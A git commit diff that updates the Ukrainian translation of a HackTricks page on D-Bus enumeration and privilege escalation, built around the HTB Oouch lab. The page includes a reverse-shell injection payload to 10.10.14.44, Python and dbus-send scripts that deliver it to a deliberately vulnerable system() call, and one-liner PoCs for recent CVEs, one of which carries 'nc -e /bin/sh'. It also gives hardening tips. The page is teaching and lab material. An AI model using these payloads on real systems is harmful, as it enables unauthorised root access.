mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/d-bus-enumeration-
This commit is contained in:
parent
024fce92b8
commit
7c936dd98d
@ -4,11 +4,11 @@
|
||||
|
||||
## **GUI enumeration**
|
||||
|
||||
D-Bus використовується як посередник міжпроцесорних комунікацій (IPC) в середовищах робочого столу Ubuntu. В Ubuntu спостерігається одночасна робота кількох автобусів повідомлень: системний автобус, який в основному використовується **привілейованими службами для відкриття служб, що мають відношення до всієї системи**, та сесійний автобус для кожного увійшовшого користувача, який відкриває служби, що мають відношення лише до цього конкретного користувача. Основна увага тут зосереджена на системному автобусі через його асоціацію з службами, що працюють з вищими привілеями (наприклад, root), оскільки наша мета - підвищити привілеї. Зазначається, що архітектура D-Bus використовує 'маршрутизатор' для кожного сесійного автобуса, який відповідає за перенаправлення повідомлень клієнтів до відповідних служб на основі адреси, вказаної клієнтами для служби, з якою вони бажають спілкуватися.
|
||||
D-Bus використовується як посередник міжпроцесорних комунікацій (IPC) в середовищах робочого столу Ubuntu. В Ubuntu спостерігається одночасна робота кількох шини повідомлень: системна шина, яка в основному використовується **привілейованими службами для відкриття служб, що мають відношення до всієї системи**, та сесійна шина для кожного увійшовшого користувача, яка відкриває служби, що мають відношення лише до цього конкретного користувача. Основна увага тут зосереджена на системній шині через її асоціацію з службами, що працюють з вищими привілеями (наприклад, root), оскільки наша мета - підвищити привілеї. Зазначається, що архітектура D-Bus використовує 'маршрутизатор' для кожної сесійної шини, який відповідає за перенаправлення повідомлень клієнтів до відповідних служб на основі адреси, зазначеної клієнтами для служби, з якою вони бажають спілкуватися.
|
||||
|
||||
Служби на D-Bus визначаються **об'єктами** та **інтерфейсами**, які вони відкривають. Об'єкти можна порівняти з екземплярами класів у стандартних мовах ООП, при цьому кожен екземпляр унікально ідентифікується **шляхом об'єкта**. Цей шлях, подібно до шляху файлової системи, унікально ідентифікує кожен об'єкт, відкритий службою. Ключовим інтерфейсом для дослідження є **org.freedesktop.DBus.Introspectable**, який має єдиний метод, Introspect. Цей метод повертає XML-представлення підтримуваних методів, сигналів та властивостей об'єкта, зосереджуючись тут на методах, пропускаючи властивості та сигнали.
|
||||
Служби на D-Bus визначаються **об'єктами** та **інтерфейсами**, які вони відкривають. Об'єкти можна порівняти з екземплярами класів у стандартних мовах ООП, при цьому кожен екземпляр унікально ідентифікується **шляхом об'єкта**. Цей шлях, подібно до шляху файлової системи, унікально ідентифікує кожен об'єкт, відкритий службою. Ключовим інтерфейсом для дослідження є **org.freedesktop.DBus.Introspectable** інтерфейс, що містить єдиний метод, Introspect. Цей метод повертає XML-представлення підтримуваних методів, сигналів та властивостей об'єкта, зосереджуючись тут на методах, пропускаючи властивості та сигнали.
|
||||
|
||||
Для зв'язку з інтерфейсом D-Bus було використано два інструменти: CLI-інструмент під назвою **gdbus** для легкого виклику методів, відкритих D-Bus у скриптах, та [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), інструмент GUI на базі Python, призначений для перерахунку служб, доступних на кожному автобусі, та для відображення об'єктів, що містяться в кожній службі.
|
||||
Для зв'язку з інтерфейсом D-Bus було використано два інструменти: CLI-інструмент під назвою **gdbus** для легкого виклику методів, відкритих D-Bus у скриптах, та [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), графічний інструмент на основі Python, призначений для перерахунку служб, доступних на кожній шині, та для відображення об'єктів, що містяться в кожній службі.
|
||||
```bash
|
||||
sudo apt-get install d-feet
|
||||
```
|
||||
@ -16,7 +16,7 @@ sudo apt-get install d-feet
|
||||
|
||||

|
||||
|
||||
У першому зображенні показані сервіси, зареєстровані в системній шині D-Bus, з **org.debin.apt**, спеціально виділеним після вибору кнопки System Bus. D-Feet запитує цей сервіс на предмет об'єктів, відображаючи інтерфейси, методи, властивості та сигнали для вибраних об'єктів, що видно на другому зображенні. Також детально описується підпис кожного методу.
|
||||
У першому зображенні показані сервіси, зареєстровані в системній шині D-Bus, з **org.debin.apt**, зокрема, виділеним після вибору кнопки System Bus. D-Feet запитує цей сервіс на предмет об'єктів, відображаючи інтерфейси, методи, властивості та сигнали для вибраних об'єктів, що видно на другому зображенні. Також детально описується підпис кожного методу.
|
||||
|
||||
Помітною особливістю є відображення **ідентифікатора процесу (pid)** та **командного рядка** сервісу, що корисно для підтвердження, чи працює сервіс з підвищеними привілеями, що важливо для дослідження.
|
||||
|
||||
@ -24,7 +24,7 @@ sudo apt-get install d-feet
|
||||
|
||||
Однак слід зазначити, що **деякі методи вимагають аутентифікації** перед тим, як дозволити їх виклик. Ми проігноруємо ці методи, оскільки наша мета - підвищити наші привілеї без облікових даних з самого початку.
|
||||
|
||||
Також слід зазначити, що деякі сервіси запитують інший сервіс D-Bus під назвою org.freedeskto.PolicyKit1, чи повинен користувач мати право виконувати певні дії чи ні.
|
||||
Також зверніть увагу, що деякі сервіси запитують інший сервіс D-Bus під назвою org.freedeskto.PolicyKit1, чи повинен користувач мати право виконувати певні дії.
|
||||
|
||||
## **Cmd line Enumeration**
|
||||
|
||||
@ -56,7 +56,7 @@ org.freedesktop.locale1 - - - (act
|
||||
```
|
||||
#### З'єднання
|
||||
|
||||
[З Wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Коли процес встановлює з'єднання з шиною, шина призначає з'єднанню спеціальне ім'я шини, яке називається _унікальним ім'ям з'єднання_. Імена шини цього типу є незмінними — гарантовано, що вони не зміняться, поки з'єднання існує — і, що більш важливо, їх не можна повторно використовувати протягом життєвого циклу шини. Це означає, що жодне інше з'єднання з цією шиною ніколи не отримає такого унікального імені з'єднання, навіть якщо той самий процес закриває з'єднання з шиною і створює нове. Унікальні імена з'єднання легко впізнаються, оскільки вони починаються з — в іншому випадку забороненого — двокрапки.
|
||||
[З Wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Коли процес встановлює з'єднання з шиною, шина призначає з'єднанню спеціальну назву шини, звану _унікальною назвою з'єднання_. Назви шин цього типу є незмінними — гарантовано, що вони не зміняться, поки з'єднання існує — і, що більш важливо, їх не можна повторно використовувати протягом життєвого циклу шини. Це означає, що жодне інше з'єднання з цією шиною ніколи не отримає таку унікальну назву з'єднання, навіть якщо той самий процес закриває з'єднання з шиною і створює нове. Унікальні назви з'єднань легко впізнавані, оскільки вони починаються з — в іншому випадку забороненого — символу двокрапки.
|
||||
|
||||
### Інформація про об'єкт служби
|
||||
|
||||
@ -120,9 +120,9 @@ cap_mknod cap_lease cap_audit_write cap_audit_control
|
||||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||||
cap_wake_alarm cap_block_suspend cap_audit_read
|
||||
```
|
||||
### Список інтерфейсів об'єкта служби
|
||||
### List Interfaces of a Service Object
|
||||
|
||||
Вам потрібно мати достатньо прав.
|
||||
Вам потрібно мати достатні права.
|
||||
```bash
|
||||
busctl tree htb.oouch.Block #Get Interfaces of the service object
|
||||
|
||||
@ -130,9 +130,9 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object
|
||||
└─/htb/oouch
|
||||
└─/htb/oouch/Block
|
||||
```
|
||||
### Інспектування інтерфейсу об'єкта служби
|
||||
### Introspect Interface of a Service Object
|
||||
|
||||
Зверніть увагу, що в цьому прикладі було обрано останній виявлений інтерфейс, використовуючи параметр `tree` (_див. попередній розділ_):
|
||||
Зверніть увагу, що в цьому прикладі була обрана остання виявлена інтерфейс за допомогою параметра `tree` (_див. попередній розділ_):
|
||||
```bash
|
||||
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
|
||||
|
||||
@ -152,7 +152,7 @@ org.freedesktop.DBus.Properties interface - - -
|
||||
```
|
||||
Зверніть увагу на метод `.Block` інтерфейсу `htb.oouch.Block` (той, який нас цікавить). "s" в інших стовпцях може означати, що очікується рядок.
|
||||
|
||||
### Інтерфейс моніторингу/захоплення
|
||||
### Моніторинг/Захоплення Інтерфейсу
|
||||
|
||||
З достатніми привілеями (лише привілеїв `send_destination` та `receive_sender` недостатньо) ви можете **моніторити D-Bus комунікацію**.
|
||||
|
||||
@ -245,14 +245,14 @@ response = block_iface.Block(client_ip)
|
||||
bus.close()
|
||||
return render_template('hacker.html', title='Hacker')
|
||||
```
|
||||
Як ви можете бачити, це **підключається до інтерфейсу D-Bus** і надсилає до **функції "Block"** "client_ip".
|
||||
Як ви можете бачити, він **підключається до інтерфейсу D-Bus** і надсилає до **функції "Block"** "client_ip".
|
||||
|
||||
На іншій стороні з'єднання D-Bus працює деякий скомпільований C-бінарник. Цей код **слухає** з'єднання D-Bus **для IP-адреси і викликає iptables через функцію `system`** для блокування заданої IP-адреси.\
|
||||
**Виклик `system` навмисно вразливий до ін'єкції команд**, тому корисне навантаження, подібне до наступного, створить зворотний шелл: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
На іншій стороні з'єднання D-Bus працює деякий скомпільований C-бінарник. Цей код **слухає** з'єднання D-Bus **на IP-адресу і викликає iptables через функцію `system`** для блокування заданої IP-адреси.\
|
||||
**Виклик `system` навмисно вразливий до ін'єкцій команд**, тому такий корисний вантаж, як наступний, створить зворотний шелл: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
### Використайте це
|
||||
|
||||
В кінці цієї сторінки ви можете знайти **повний C-код програми D-Bus**. Всередині ви можете знайти між рядками 91-97 **як `D-Bus object path`** **та `interface name`** **реєструються**. Ця інформація буде необхідна для надсилання інформації до з'єднання D-Bus:
|
||||
В кінці цієї сторінки ви можете знайти **повний C-код програми D-Bus**. Всередині ви можете знайти між рядками 91-97 **як `D-Bus object path`** **і `interface name`** **реєструються**. Ця інформація буде необхідна для надсилання інформації до з'єднання D-Bus:
|
||||
```c
|
||||
/* Install the object */
|
||||
r = sd_bus_add_object_vtable(bus,
|
||||
@ -262,13 +262,13 @@ r = sd_bus_add_object_vtable(bus,
|
||||
block_vtable,
|
||||
NULL);
|
||||
```
|
||||
Також, у рядку 57 ви можете знайти, що **єдиний метод, зареєстрований** для цього D-Bus зв'язку називається `Block`(_**Ось чому в наступному розділі корисні навантаження будуть відправлені до об'єкта служби `htb.oouch.Block`, інтерфейсу `/htb/oouch/Block` та назви методу `Block`**_):
|
||||
Також, у рядку 57 ви можете знайти, що **єдиний метод, зареєстрований** для цього D-Bus зв'язку називається `Block`(_**Ось чому в наступному розділі корисні навантаження будуть надіслані до об'єкта служби `htb.oouch.Block`, інтерфейсу `/htb/oouch/Block` та назви методу `Block`**_):
|
||||
```c
|
||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
```
|
||||
#### Python
|
||||
|
||||
Наступний код на python надішле payload до D-Bus з'єднання до методу `Block` через `block_iface.Block(runme)` (_зауважте, що він був витягнутий з попереднього фрагмента коду_):
|
||||
Наступний код на python надішле payload до з'єднання D-Bus до методу `Block` через `block_iface.Block(runme)` (_зауважте, що він був витягнутий з попереднього фрагмента коду_):
|
||||
```python
|
||||
import dbus
|
||||
bus = dbus.SystemBus()
|
||||
@ -283,9 +283,9 @@ bus.close()
|
||||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||||
```
|
||||
- `dbus-send` - це інструмент, який використовується для відправки повідомлень до “Message Bus”
|
||||
- Message Bus – програмне забезпечення, яке використовується системами для спрощення комунікації між додатками. Це пов'язано з Message Queue (повідомлення упорядковані в послідовності), але в Message Bus повідомлення надсилаються за моделлю підписки і також дуже швидко.
|
||||
- Message Bus – програмне забезпечення, яке використовується системами для спрощення комунікації між додатками. Воно пов'язане з Message Queue (повідомлення упорядковані в послідовності), але в Message Bus повідомлення надсилаються за моделлю підписки і також дуже швидко.
|
||||
- Тег “-system” використовується для позначення того, що це системне повідомлення, а не повідомлення сесії (за замовчуванням).
|
||||
- Тег “–print-reply” використовується для належного виведення нашого повідомлення та отримання будь-яких відповідей у зрозумілому для людини форматі.
|
||||
- Тег “–print-reply” використовується для коректного виведення нашого повідомлення та отримання будь-яких відповідей у зрозумілому для людини форматі.
|
||||
- “–dest=Dbus-Interface-Block” Адреса інтерфейсу Dbus.
|
||||
- “–string:” – Тип повідомлення, яке ми хочемо надіслати до інтерфейсу. Існує кілька форматів для відправки повідомлень, таких як double, bytes, booleans, int, objpath. З цього, “object path” корисний, коли ми хочемо надіслати шлях до файлу до інтерфейсу Dbus. У цьому випадку ми можемо використовувати спеціальний файл (FIFO), щоб передати команду до інтерфейсу під ім'ям файлу. “string:;” – Це для повторного виклику об'єктного шляху, де ми розміщуємо файл/команду зворотного шелу FIFO.
|
||||
|
||||
@ -432,8 +432,75 @@ sd_bus_unref(bus);
|
||||
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
||||
}
|
||||
```
|
||||
## Автоматизовані допоміжні засоби для перерахунку (2023-2025)
|
||||
|
||||
Перерахунок великої атаки D-Bus вручну за допомогою `busctl`/`gdbus` швидко стає болючим. Два невеликі FOSS утиліти, випущені за останні кілька років, можуть прискорити процес під час червоних команд або CTF:
|
||||
|
||||
### dbusmap ("Nmap для D-Bus")
|
||||
* Автор: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap)
|
||||
* Написано на C; один статичний бінарний файл (<50 kB), який проходить через кожен об'єктний шлях, витягує XML `Introspect` і відображає його на PID/UID власника.
|
||||
* Корисні прапорці:
|
||||
```bash
|
||||
# Перелічити всі сервіси на *системному* автобусі та вивести всі викликабельні методи
|
||||
sudo dbus-map --dump-methods
|
||||
|
||||
# Активно перевіряти методи/властивості, до яких ви можете дістатися без запитів Polkit
|
||||
sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
|
||||
```
|
||||
* Інструмент позначає незахищені відомі імена знаком `!`, миттєво виявляючи сервіси, які ви можете *взяти під контроль* (перехопити) або виклики методів, до яких можна дістатися з непривабливого шеллу.
|
||||
|
||||
### uptux.py
|
||||
* Автор: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
|
||||
* Скрипт тільки на Python, який шукає *записувані* шляхи в одиницях systemd **та** надто дозволяючих файлах політики D-Bus (наприклад, `send_destination="*"`).
|
||||
* Швидке використання:
|
||||
```bash
|
||||
python3 uptux.py -n # виконати всі перевірки, але не записувати файл журналу
|
||||
python3 uptux.py -d # увімкнути детальний вивід налагодження
|
||||
```
|
||||
* Модуль D-Bus шукає каталоги нижче і підкреслює будь-який сервіс, який може бути підроблений або перехоплений звичайним користувачем:
|
||||
* `/etc/dbus-1/system.d/` та `/usr/share/dbus-1/system.d/`
|
||||
* `/etc/dbus-1/system-local.d/` (перевизначення постачальника)
|
||||
|
||||
---
|
||||
|
||||
## Помітні помилки підвищення привілеїв D-Bus (2024-2025)
|
||||
|
||||
Слідкування за нещодавно опублікованими CVE допомагає виявити подібні ненадійні шаблони в користувацькому коді. Наступні проблеми з високим впливом локального EoP виникають через відсутність аутентифікації/авторизації на **системному автобусі**:
|
||||
|
||||
| Рік | CVE | Компонент | Корінна причина | Однолінійний PoC |
|
||||
|------|-----|-----------|------------|---------------|
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (демон Logitech HID) | Системна служба `logid` відкриває необмежений інтерфейс `org.freedesktop.Logiopsd`, що дозволяє *будь-якому* користувачу змінювати профілі пристроїв і впроваджувати довільні команди оболонки через рядки макросів. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | Проксі, що працює з правами root, пересилає застарілі імена автобусів до бекенд-сервісів **без пересилання UID/контексту Polkit викликувача**, тому кожен пересланий запит обробляється як UID 0. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Публічний метод `Dispatch` не має жодних ACL → зловмисник може наказати *пакетному менеджеру* встановити довільні RPM. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
|
||||
Шаблони, на які слід звернути увагу:
|
||||
1. Сервіс працює **як root на системному автобусі**.
|
||||
2. Відсутня перевірка PolicyKit (або вона обійдена проксі).
|
||||
3. Метод в кінцевому підсумку веде до `system()`/встановлення пакета/переналаштування пристрою → виконання коду.
|
||||
|
||||
Використовуйте `dbusmap --enable-probes` або ручний `busctl call`, щоб підтвердити, чи патч переносить правильну логіку `polkit_authority_check_authorization()`.
|
||||
|
||||
---
|
||||
|
||||
## Швидкі виграші в зміцненні та виявленні
|
||||
|
||||
* Шукайте світло-записувані або *відкриті для надсилання/отримання* політики:
|
||||
```bash
|
||||
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
||||
```
|
||||
* Вимагайте Polkit для небезпечних методів – навіть *root* проксі повинні передавати *PID викликувача* до `polkit_authority_check_authorization_sync()`, а не свої власні.
|
||||
* Знижуйте привілеї в довготривалих допоміжних засобах (використовуйте `sd_pid_get_owner_uid()`, щоб переключити простори імен після підключення до автобуса).
|
||||
* Якщо ви не можете видалити сервіс, принаймні *обмежте* його до спеціальної групи Unix і обмежте доступ у його XML політиці.
|
||||
* Blue-team: увімкніть постійний захоплення системного автобуса за допомогою `busctl capture --output=/var/log/dbus_$(date +%F).pcap` і імпортуйте в Wireshark для виявлення аномалій.
|
||||
|
||||
---
|
||||
|
||||
## Посилання
|
||||
|
||||
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||||
- [https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html](https://security.opensuse.org/2025/01/24/dde-api-proxy-privilege-escalation.html)
|
||||
|
||||
|
||||
- [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user